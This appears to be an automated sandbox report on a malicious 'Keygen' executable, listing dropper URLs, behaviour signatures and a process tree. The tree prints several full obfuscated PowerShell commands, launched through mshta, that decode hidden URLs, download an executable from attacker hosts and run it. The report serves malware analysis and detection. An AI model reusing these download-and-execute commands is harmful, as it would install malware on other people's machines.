3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
51s
max time network
181s
platform
windows10_x64
resource
win10v200722
submitted
02-10-2020 21:14

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Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (110) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

3756 Keygen.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3992 timeout.exe
412 timeout.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings cmd.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

3756 Keygen.exe

pid	process
3756	Keygen.exe

pid	process
3992	timeout.exe
412	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe

pid	process
3756	Keygen.exe

Suspicious use of WriteProcessMemory 42 IoCs

Processes:

Keygen — копия (110) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 500 wrote to memory of 3664	500	Keygen — копия (110) — копия.exe	cmd.exe
PID 500 wrote to memory of 3664	500	Keygen — копия (110) — копия.exe	cmd.exe
PID 500 wrote to memory of 3664	500	Keygen — копия (110) — копия.exe	cmd.exe
PID 3664 wrote to memory of 3756	3664	cmd.exe	Keygen.exe
PID 3664 wrote to memory of 3756	3664	cmd.exe	Keygen.exe
PID 3664 wrote to memory of 3756	3664	cmd.exe	Keygen.exe
PID 3664 wrote to memory of 3444	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 3444	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 3444	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 1624	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 1624	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 1624	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 3992	3664	cmd.exe	timeout.exe
PID 3664 wrote to memory of 3992	3664	cmd.exe	timeout.exe
PID 3664 wrote to memory of 3992	3664	cmd.exe	timeout.exe
PID 1624 wrote to memory of 2228	1624	mshta.exe	powershell.exe
PID 1624 wrote to memory of 2228	1624	mshta.exe	powershell.exe
PID 1624 wrote to memory of 2228	1624	mshta.exe	powershell.exe
PID 3444 wrote to memory of 3464	3444	mshta.exe	powershell.exe
PID 3444 wrote to memory of 3464	3444	mshta.exe	powershell.exe
PID 3444 wrote to memory of 3464	3444	mshta.exe	powershell.exe
PID 3664 wrote to memory of 1156	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 1156	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 1156	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 1672	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 1672	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 1672	3664	cmd.exe	mshta.exe
PID 1156 wrote to memory of 732	1156	mshta.exe	powershell.exe
PID 1156 wrote to memory of 732	1156	mshta.exe	powershell.exe
PID 1156 wrote to memory of 732	1156	mshta.exe	powershell.exe
PID 3664 wrote to memory of 412	3664	cmd.exe	timeout.exe
PID 3664 wrote to memory of 412	3664	cmd.exe	timeout.exe
PID 3664 wrote to memory of 412	3664	cmd.exe	timeout.exe
PID 1672 wrote to memory of 2860	1672	mshta.exe	powershell.exe
PID 1672 wrote to memory of 2860	1672	mshta.exe	powershell.exe
PID 1672 wrote to memory of 2860	1672	mshta.exe	powershell.exe
PID 3664 wrote to memory of 924	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 924	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 924	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 3956	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 3956	3664	cmd.exe	mshta.exe
PID 3664 wrote to memory of 3956	3664	cmd.exe	mshta.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (110) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (110) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:500

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7773.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (110) — ?????.exe""
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3664

C:\Users\Admin\AppData\Local\Temp\7773.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3756

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7773.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3444

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:3464

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7773.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:2228

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3992

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7773.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1156

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:732

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7773.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:2860

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:412

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7773.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
PID:924

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7773.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
PID:3956

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\7773.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\7773.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\7773.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\7773.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\7773.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\7773.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\7773.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\7773.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\7773.tmp\start.bat

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memory/412-21-0x0000000000000000-mapping.dmp

Download
memory/732-23-0x00000000704D0000-0x0000000070BBE000-memory.dmp

Filesize
6.9MB

Download
memory/732-20-0x0000000000000000-mapping.dmp

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memory/924-26-0x0000000000000000-mapping.dmp

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memory/1156-15-0x0000000000000000-mapping.dmp

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memory/1624-9-0x0000000000000000-mapping.dmp

Download
memory/1672-17-0x0000000000000000-mapping.dmp

Download
memory/2228-12-0x0000000000000000-mapping.dmp

Download
memory/2228-18-0x00000000704D0000-0x0000000070BBE000-memory.dmp

Filesize
6.9MB

Download
memory/2860-22-0x0000000000000000-mapping.dmp

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memory/2860-24-0x00000000704D0000-0x0000000070BBE000-memory.dmp

Filesize
6.9MB

Download
memory/3444-7-0x0000000000000000-mapping.dmp

Download
memory/3464-19-0x00000000704D0000-0x0000000070BBE000-memory.dmp

Filesize
6.9MB

Download
memory/3464-13-0x0000000000000000-mapping.dmp

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memory/3664-0-0x0000000000000000-mapping.dmp

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memory/3756-4-0x0000000000000000-mapping.dmp

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memory/3756-2-0x0000000000000000-mapping.dmp

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memory/3956-28-0x0000000000000000-mapping.dmp

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memory/3992-10-0x0000000000000000-mapping.dmp

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